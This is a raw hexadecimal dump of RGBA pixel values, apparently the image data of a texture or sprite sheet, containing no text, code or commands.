4EFF6DB54EFF339706FF379C09FF587A49FF704525FF8F480FFF8F4912FF8F4A
14FF8D460FFFB48762FF9C5F36FF843B0AFF863E0FFF863E0FFF873E0EFF8B41
00FF3517E7FF3A18D3FF3B17DAFF5A4E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFE4EAEAFF4CB6CCFF76ADBDFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF5137BCFF461FD6FF481DDDFF10DB
FFFF12D8FFFF12D4FFFF0FDFFFFF0DB3DFFF0DDAFFFF0DD1FFFF0DD1FFFF0CD2
FFFF0BDDFFFF09B2E0FF07DAFFFF54B0C5FF437B25FF43A40FFF41A00FFF52A9
25FFABD398FF8CC570FF79BA5BFF7DBE63FF84BF69FF71B653FF5FAD3FFF9ECC
89FF5DAC3AFF329706FF379C09FF587A49FF704526FF934B10FF914C13FF8F4A
11FF8E480FFF8E460CFFAC764DFF94511BFF8F4B13FF904B15FF8F4A15FF954C
04FF4423ECFF4B25D8FF4C25DEFF5B4F8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFADCED3FFF4F4F4FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF5238BCFF4C14E2FF3598ABFF26D1
AEFF28CAADFF28CAADFF29CAADFF29CDB1FF28CAADFF26C9ADFF26C9ADFF27C9
ADFF26C9ADFF25CEB0FF22CAAAFF5CAB9EFF437C26FF47A610FF45A20FFF65B2
3CFFA9D396FF76BB53FF84C164FF8DC470FFB4D9A1FF72B852FF8DC46FFFAAD3
97FF71B74CFF43A10DFF48A90FFF5A7A49FF714625FF954E10FF904B0DFFB180
56FFC09C7AFF8F490CFF8E480AFFB88C66FF9E612FFF924F15FF945117FF9A54
07FF4826EDFF4D28D8FF4E25DFFF5B4E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF5336C1FF4A4AAEFF46C712FF4AB9
20FF49B922FF49B921FF49B921FF49B921FF49B921FF4AB921FF4AB921FF4AB9
22FF49B91FFF48B81DFF45B71BFF69A056FF437D25FF49A810FF4AA613FF48A5
12FF44A20BFF47A411FF46A40FFF46A40EFF43A20BFF47A411FF46A40FFF44A2
0BFF47A310FF4AA613FF49AA0FFF5A7A49FF724623FF974E0BFF944E0EFF924B
0AFF934E0FFFA36732FF9E5E26FFA2662FFF965314FF955010FF965010FF9B53
01FF4823EEFF4D24DAFF4E23E1FF5A4D8EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF5431C5FF43BE21FF44BB27FF46BA
29FF46BB2AFF46BB2AFF46BB2AFF46BB2AFF46BB2AFF46BB2AFF46BB2AFF46BB
2AFF45BA29FF44BA27FF44BA25FF67A05CFF438023FF49A90BFF49A60EFF4BA8
10FF4BA811FF4BA811FF4BA811FF4BA811FF4BA811FF4BA811FF4BA811FF4BA8
11FF4AA810FF49A70EFF4AAB0AFF597847FF774D2FFFA46933FFA26431FFA265
33FF9F612EFFBC9370FFB07C55FF9F612DFFA16533FFA26533FFA26533FFA669
25FF5E40F3FF6343E0FF6644E4FF675B9DFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFF538569FF60D142FF5DC945FF5EC9
47FF5EC946FF5EC948FF5EC948FF5EC948FF5EC948FF5EC948FF5EC948FF5EC9
46FF5EC947FF5DC946FF5EC947FF6CA461FF4B852FFF63B433FF60B231FF61B2
33FF61B233FF61B233FF61B233FF61B233FF61B233FF61B233FF61B233FF61B2
33FF61B233FF60B131FF61B432FF658855FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0BFFFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFBFC0C0FFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFF8B5725FFBC620CFFBA610DFFBA61
0EFFB5600CFFBC5E08FFBC5E08FFBC5E08FFBC5E08FFBC5E08FFBC5E08FFB561
0EFFBA610CFFBA610DFFBF640CFF83664AFF826640FFB1813BFFAF7C3AFFAE7D
3BFFA8732FFFF0E4CAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAFB0E4FF2625
BBFF3231BEFF3130BFFF3131C4FF565883FF375C93FF2973D4FF225DD2FF966B
81FFF8CC56FFF3CC6CFFF0C256FFE9B125FFE8B125FFEFC455FFEFC559FFEFC2
53FFEFC457FFF1C557FFF3BD38FF917D53FF9D671FFFDE8501FFDB8200FFD883
06FF34E5FFFF41DEFEFF41DEFEFF41DEFEFF41DEFEFF41DEFEFF40DEFFFF45DB
EDFF87A800FF83AD02FF85B100FF707D47FF8B5728FFB05C11FFAD5D12FFB353
01FF6AE5FFFF23E2FFFF2BDFFFFF2BDFFFFF2BDFFFFF2BDFFFFF21E2FFFF76DB
EBFFB25301FFAD5D12FFB15D10FF83664AFF856342FFAA703CFFA8703EFFA871
3FFFA26732FFE7DAC7FFFFFFFEFFFFFFF8FFFFFFF8FFFFFFFBFFAAA5DFFF2718
B8FF3225BBFF3124BBFF3122C0FF565385FF356697FF256BBDFF224ABEFF916B
80FFE7B01BFFDEA61CFFE4B745FFE7BE57FFE7BF5BFFE2B035FFE2B033FFE8C1
61FFE6B94BFFE5B84AFFEEC55CFF96865FFF9D6920FFD27C06FFCF7A05FFCD7B
0AFF28DDFFFF37D5F7FF37D5F7FF36D5F8FF37D5F7FF37D5F7FF36D6FAFF3AD3
E8FF7AA200FF74A508FF76A806FF6F8047FF865429FFAB5A12FFAA5B14FFA854
0AFFE5AB7DFF30C8EAFF2BD8FDFF2DD5F9FF2DD5F9FF2BD9FEFF40CBECFFE09C
67FFA8560CFFAA5B12FFAD5B12FF80664DFF855D45FFAA6840FFA66941FFA86A
42FFA25F35FFE7D7CAFFFFFFFFFFFFFFFBFFFFFFFBFFFFFFFDFFAB9FE1FF270D
BAFF3319BEFF3119BCFF3015C2FF564F87FF317395FF1EA1D1FF1B77C9FF9265
79FFEAB11FFFE9BF56FFE9C158FFE7AC21FFEAB02CFFF5C359FFEEC057FFEEB3
33FFEABF55FFEFBA46FFE6AA17FF96865DFF9A6622FFCE7908FFCD7709FFCB7A
0DFF1FDCFFFF2DD5F9FF2DD5FAFF2FD3F3FF2CD5FFFF2DD5F9FF2CD5FCFF32D1
E9FF749F00FF6EA40AFF6EA708FF6D7E49FF83522AFFA85813FFA75915FFA558
15FFB05E18FF8E9193FF1BCEF6FF27D6FEFF27D7FFFF18C2E9FFA09998FFA956
0EFFA65816FFA75915FFA95912FF7E644DFF835945FFA86240FFA76243FFA863
44FFA25A37FFE7D5CCFFFFFFFFFFFFFFFDFFFFFFFDFFFFFFFFFFA99BE3FF2604
BCFF3211C0FF300FC0FF2D0EC4FF564A88FF324792FF2434B4FF1F29BAFF8162
8FFFCCB05DFFC79F3DFFCDA75CFF93945FFF9DB08DFF41C0CFFFAAA771FF5EAE
A6FFCAA04EFF5FB4BBFFD3A641FF837862FF986624FFCC7709FFCB7709FFCA78
0EFF16DBFFFF26D3FBFF22D6FFFF50B567FF3BC4AFFF24D5FFFF25D4FEFF29D0
EBFF6E9E00FF67A30CFF68A509FF697C49FF83532BFFA55812FFA45716FFA658
16FFA1510AFFDFC0ABFF00151DFF23E7FFFF23E2FFFF021014FFE4C1A6FFA151
0BFFA65817FFA45815FFA85813FF7D634DFF835845FFA85F41FFA65F42FFA860
43FFA25638FFE7D4CCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA99BE4FF2601
BDFF320DC1FF300BBFFF2E08C5FF554988FFB2B0A9FFE2E0D5FFE7E9E4FFE3C8
78FFE3A715FFF1B01CFF9B913BFF07A7CEFF0CB0D5FF23A1B0FF2A9297FF11A3
C1FF01BAEBFF6A9665FFF4AD14FF937E4FFF986625FFCB770AFFCA750AFFC877
0FFF13DBFFFF22D4FCFF18D9FFFF68A108FF55AF4CFF1BD7FFFF21D4FFFF26D0
ECFF6C9E00FF65A10CFF66A509FF687C49FF84532AFFAA5C17FFA55916FFA557
17FFA55513FFC78952FF534F53FF0F5767FF0D424EFF69696EFFBD7539FFA457
13FFA65917FFA55815FFA85813FF7D634DFF845847FFAC6447FFA76144FFA761
44FFA25839FFE7D4CCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA99BE4FF2601
BDFF320EC1FF300CC1FF2E09C5FF554988FFBDBDBDFFDFDFDFFFD2D5DBFFF7DC
96FFDAA41BFF79783CFF609470FF19D7FFFF50795DFF857730FF668153FF5070
52FF679469FF16A2BDFFEEA812FF948050FF996624FFCD7B0CFFCB760BFFC876
0FFF13DBFFFF1FD6FFFF49B876FF49B875FF48B978FF37C4B3FF20D5FFFF26D0
ECFF6D9E00FF66A20CFF66A509FF687C49FF83552BFFAC5F19FFAA5F1CFFA95F
1CFFA55917FFA44E07FFBFB9B3FF000000FF000000FFCEC0B5FFA24E08FFA65A
18FFA65917FFA55815FFA85813FF7D634DFF855947FFAE674AFFAC684BFFAB67
4AFFA05839FFE7D4CCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA99BE4FF2601
BDFF320EC1FF300CC1FF2D09C5FF554988FF929292FFDEDEDEFFFFFFFFFFBB9F
5AFFDDA71EFFD0991BFF93812FFF557452FF27CDE7FF13D4FFFF4F9580FF11C7
F0FF5C8A65FF2C7878FF9A903AFF96804FFF986725FFCE800EFFCD7D0FFFCB7C
12FF13DBFFFF1CD6FFFF719B00FF46BA80FF5BAB38FF5FA828FF1DD8FFFF26D0
ECFF6D9E00FF66A20CFF66A509FF687C49FF84562CFFAE621BFFAC631FFFAD64
21FFAD6422FFA85A15FFE4B892FF15191DFF2A3034FFD8A577FFA35310FFA458
16FFA55715FFA35613FFA95812FF7D634DFF865B4AFFB06A4DFFAE6B4FFFAF6C
50FFA96344FFE9D7CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA89AE4FF2501
BCFF300DC0FF2E0BBEFF2E09C4FF564988FFB3B3ACFFDBDBD3FFE4E4EAFFE8CC
8CFFE3AE27FFEBAD23FF4BA092FF559B83FF42B1AEFF18E4FFFF6AA077FF14E0
FFFF47ACA1FFBEA537FF43A299FF9A804BFF996925FFD0830FFFCE820FFFCD84
16FF1FDEFFFF25D9FFFF5CAF3FFF2DCCD5FF42BB88FF43BA87FF1DD6FFFF26D0
ECFF6B9E00FF64A00BFF66A609FF687C49FF85562CFFB0651EFFAE6621FFAF67
23FFAF6824FFAE6722FFB56B24FF8A9196FF9EA1A2FFB06017FFAD6420FFAB64
20FFAD6420FFAD641FFFB3681EFF7E644DFF865B4AFFB26E51FFB06E52FFB16F
53FFAB6647FFEAD7D1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAF9EE6FF3108
C3FF3D14C6FF3E12C7FF3E0FCDFF584988FF504A9FFFAB9FFFFF3F6269FFA19C
40FFE9B32FFFEAB22CFF97AB67FF0EB6E4FFA19341FF229EB5FF2C9BA8FF47A1
9AFF0BABD6FFB7A342FFAFB45BFF837553FF996A26FFD18610FFCE8310FFCF85
17FF22DFFFFF31D8FDFF34D6F1FF2FD9FFFF30D7F9FF2ED7FAFF2BD7FFFF31D4
EDFF77A600FF72AA12FF75B00FFF697D49FF86572CFFB2691FFFB06822FFB169
24FFB16824FFB16825FFAD6218FFD5C0ACFFDABDA2FFAD621AFFB16925FFB169
24FFB16923FFB06821FFB46B1FFF7E644DFF875C4BFFB47153FFB27055FFB171
56FFAD684AFFE9D9D2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB09FE8FF3808
C6FF4215C9FF4013C9FF400FCFFF584989FF83986BFFD9EBC5FF8394AFFFB08E
95FFE8B72BFFE7B533FFC7A031FF558369FF7B7D46FFCC9520FF395043FFB993
2CFF8D823DFF678256FFEFB62AFF958151FF996925FFD28810FFD18711FFCF88
17FF23E0FFFF32D9FCFF31D9FDFF32D9FCFF32D9FCFF32D9FCFF31D9FFFF36D7
EEFF7DAA01FF76AD13FF78B10FFF697D49FF85572CFFB3691DFFB1691EFFB06A
20FFB26A20FFB26920FFB0661BFFC48E53FFBC7D3DFFB0681DFFB26920FFB26A
20FFB06A1FFFB1691EFFB66B1CFF7D644DFF865C49FFB57155FFB37154FFB270
55FFAE684AFFEBD9D2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB19DE8FF3604
C8FF4110CBFF3F0ECAFF410AD0FF554787FF90A378FFE4F4CDFF9CA6CCFFBF9F
94FFE8B629FFE5B532FFDCAE30FFB6AE4DFFD8AC31FF859252FF8F9B56FFCBA4
31FF75A777FFCBA530FFEFBB2CFF927E50FF9A6923FFD48A0BFFD1870CFFD088
12FF20E0FFFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF2FDAFFFF33D7
EDFF7DAB00FF75AD0EFF79B40AFF687C47FF8C5E36FFBD8041FFB9793EFFBB7B
3FFFBB7B3FFFBB7C3FFFBB7C3FFFB9773AFFBA7A3CFFBB7C3FFFBB7C3FFFBB7B
3FFFBB7B40FFB97A3FFFBD7C3FFF8D7059FF8D6250FFC0876CFFBC8469FFBD84
6AFFB87B60FFEFE0DAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBCACEEFF5028
CFFF5933D2FF5831D2FF5A32D6FF635596FF5A589EFFBDB3FFFF638775FFADA4
68FFEFC148FFE9BE4CFFEABF4BFFEEBF49FFEBBF4BFFF1C149FFF1C149FFECC0
4BFFF2BF46FFECC04AFFEDC04BFFA28E5DFF9F6F2FFFDA9A33FFD8972FFFD798
35FF3DE7FFFF49E0FFFF49E0FFFF49E0FFFF49E0FFFF49E0FFFF49E0FFFF4DDE
F3FF8EB421FF89B831FF8BBB32FF758B55FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF51781FFF5C9D01FF5A9B02FF5A9B
03FF5B9C02FF5B9C02FF5B9C02FF5B9C02FF5B9C02FF5B9C02FF5B9C02FF5B9C
02FF5A9B03FF5A9B02FF5B9F00FF627847FFB6B7B7FFFFFFFFFFFFFFFFFFFFFF
FFFFE2EBECFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFF5FB
FAFFFFFFFFFFFFFFFFFFFFFFFFFF9A9B9BFF6D241FFF8B0801FF890802FF8909
03FF880A02FF880A02FF880A02FF880A02FF880A02FF880A02FF880A02FF880A
02FF890903FF880902FF8C0800FF734947FF26282AFF0C0E0DFF102126FF1EC0
DFFF2E81FFFF350FD6FF331EDAFF3321DBFF3321DBFF3321DBFF3321DBFF3322
DBFF3320DBFF3221DAFF3220E1FF57538CFF567520FF5B9004FF5C8F06FF5C90
07FF5C9008FF5D9008FF5D9008FF5D9008FF5D9008FF5D9008FF5D9008FF5C90
08FF5C8F07FF5B8F06FF5D9104FF647846FFBCBCBCFFFFFFFFFFFFFFFFFFFFFF
FFFF68BAD4FF0883B2FF84D4D8FF70D9E2FF79DDE3FF53A8C1FF0AA4C7FFCCDC
E2FFFFFFFFFFFFFFFFFFFFFFFFFF9EA0A0FF6A2420FF7A0A06FF7A0C08FF7B0E
09FF7B0E0AFF7B0E0AFF7B0E0AFF7B0D0AFF7B0D0AFF7B0E0AFF7B0E0AFF7B0E
0AFF7B0E09FF7A0C08FF7C0A06FF714846FF262828FF0E0F10FF100E0EFF0E00
00FF0E6267FF28CDFFFF332FDAFF3316CFFF3321D2FF3322D2FF3322D2FF3320
D2FF3321D1FF3220D1FF311ED7FF58518FFF586C20FF608400FF5D8200FF6081
00FF5F8301FF5F8201FF5F8201FF5F8201FF5F8201FF5F8201FF5F8201FF5F83
01FF5E8100FF5D8200FF618500FF667347FFB9B9B9FFFFFFFFFFFFFFFFFFECF3
F4FFFFFFFFFFE0F6F5FFD4F3F7FFC78065FFCEAE9FFFD5FEFFFFFDFCF9FFFAFB
FAFFF9FBFAFFFFFFFFFFFFFFFFFF9E9E9EFF642422FF730B08FF740D0BFF730F
0CFF750F0DFF740F0DFF740F0DFF74100DFF74100DFF740F0DFF750F0DFF730C
0BFF700409FF710A08FF750A08FF6E4949FF241F1FFF0B0808FF0F1010FF0000
00FF706664FF000300FF1FC4D7FF2D82F7FF340ECDFF331ED1FF331FD2FF3320
D2FF3220D0FF311ED1FF301BD7FF56508FFF2BA7C4FF17E3FFFF1ADFFFFF1CE0
FFFF1CE0FFFF1CE0FFFF1CE0FFFF1CE0FFFF1CE0FFFF1CE0FFFF1CE0FFFF1CE0
FFFF1BE0FFFF19DFFFFF16E5FFFF4E94A3FFB9B9B9FFFFFFFFFFFDFCFBFF81DF
E4FFF6F9F9FFFFFFFFFFE05C34FF87705EFFA35D41FFE99175FFFFFFFFFFCAEB
EDFF9FE3E7FFFFFFFFFFFFFFFFFF9E9E9EFF602524FF6E0A09FF6D0D0CFF6E0D
0EFF6E0F0DFF6F0E0FFF6F0E0FFF6F0E0FFF6F0E0FFF6F0E0FFF6D0A0CFF8722
17FF9A832BFF801F16FF6C0406FF6A4949FF2E99B3FF0B2935FF030000FF7C7D
7DFFFFFFFFFF9E9B9BFF040000FF15686CFF27CDFFFF302DD8FF3213CEFF321E
D0FF301ED1FF301CCFFF2D19D6FF554F8EFF30A3B6FF1DDBFDFF20D8F9FF21D9
F9FF23D9F9FF22D9F9FF22D9F9FF22D9F9FF22D9F9FF22D9F9FF22D9F9FF23D9
F9FF22D9F9FF1FD8F9FF1DDEFFFF50919BFFBEBEBEFFAAAAAAFFD6D8D8FFE0E0
DFFFF4FFFFFFDFA079FF9C835EFFD57346FFA97C55FF96683DFFFFDBC8FFF8FF
FFFFBAC2C2FFCDCCCCFFD4D4D4FFA0A0A0FF5F2524FF6C0909FF6B0D0DFF6C0D
0DFF6C0E0EFF6C0E0EFF6D0F0FFF6D1010FF6D1010FF6E0E0EFF6C1112FF3778
7BFF80732BFF506430FF6F0A0FFF694949FF508320FF2EDCD4FF0F7BA5FF3524
23FF908B8BFF5A5A5AFF080808FF0E0503FF0F1613FF1DC4D6FF2C80F6FF320B
CCFF3119D0FF2F1BCFFF2C18D6FF554E8DFF28A5C1FF14E1FFFF14D8FBFF14D8
FBFF14D8FBFF14D9FBFF14D9FBFF14D9FBFF14D9FBFF14D9FBFF14D9FBFF14D9
FBFF13D9FBFF12D8FBFF0EE2FFFF4C92A2FFBEBEBEFFDDDDDDFF626060FF758D
8EFFC0F0E6FF1F22CCFF3B3CECFF494DBAFF1F21D0FF0B09D1FF3C62C5FFA9D1
CCFF898787FF636363FFFFFFFFFF9E9E9EFF602320FF6E0A09FF6B0C0CFF6706
06FF630000FF711209FF6F110EFF6D0F0FFF6E1010FF710B09FF403051FF2678
8DFFD4B594FFB39D87FF954949FF684747FF4E8123FF59A200FF45BD5DFF1BC7
F7FF051D2AFF070000FF100F0EFF101010FF0F0D0CFF0D0000FF14686DFF24CC
FFFF2F2BD8FF2F0FCEFF2C18D6FF554E8DFFA56C20FFE28800FFDA8600FFDA84
00FFD98100FFD78000FFD88000FFD88100FFD88100FFD88100FFD88100FFD881
00FFDC7E00FFDC7D00FFE38200FF917147FFC2C2C2FFBBBBBBFF828282FF9795
95FF9BA3A2FFA56B80FFCE8592FFB5828FFFB35564FF91536BFFA17178FF9090
8FFF909090FF888888FFE1E1E1FFA1A1A1FF3F3BB6FFAF6759FF620000FFA865
5BFFE5E2F3FFA0ABFFFF702D52FF6D0C09FF6E1010FF6C0707FF7D6561FFD1C2
A9FFB9BDA2FFD5CBA6FFAE6C57FF674747FF508225FF57A90EFF5AA507FF59A7
0BFF31DBD4FF1481A9FF0C0000FF0F0A0AFF101010FF0F0F0FFF080000FF141B
19FF16BBCFFF2A7CF6FF2E05D1FF554D8DFF9A7225FFD3930FFFD09312FFD193
14FFD19415FFD09214FFCD8E11FFCC8A0EFFCC8A0FFFCC8A0FFFCD8A0EFFCC8A
0EFFA6923DFF909656FFC68E16FF8D7347FFA1A1A1FF7A7A7AFF8D8D8DFFAAA9
A9FFB1AEB0FFA7A690FFD8956FFF9AAE9FFFDD6B3EFF7A9D8BFFC89883FF8E90
91FF9B9B9BFF757575FF8A8A8AFF9E9E9EFF3F35A5FFE0B79EFFE9E1E9FFA3A2
FFFF805296FF8A2713FF6E0902FF6C0E0EFF6C0F0FFF700202FF409F9FFF00FF
FFFF249BA0FF00FFFFFF428D8FFF6B4747FF508325FF5BAB0FFF5CA912FF5DA9
12FF62A500FF4DC264FF23CEFAFF0F2935FF0D0100FF0C0C0CFF3F3F3FFFC5C2
C2FF4B3935FF0C6065FF22CDFFFF555892FF9B7226FFD49710FFD09513FFD296
16FFD29517FFD29717FFD29717FFD29817FFD29516FFD19415FFD6910EFF9D9D
58FF2FB7E1FF2BB8E4FF6EAF99FF8D7548FF8F8F8FFF7D7D7DFF8F8E8EFFB6B2
B1FFB0E1E3FFD8CBC8FF8CB1BEFF9FC0C5FF99BCC5FF899FA9FFDEDFDCFFB1D4
D5FFA4A09FFF878787FF8A8A8AFF979797FF3B2F9EFF8A80F0FF8374E7FF8979
E5FF8B82ECFF8C8CFFFF83416AFF7A130FFF791616FF770F0FFF714242FF49A5
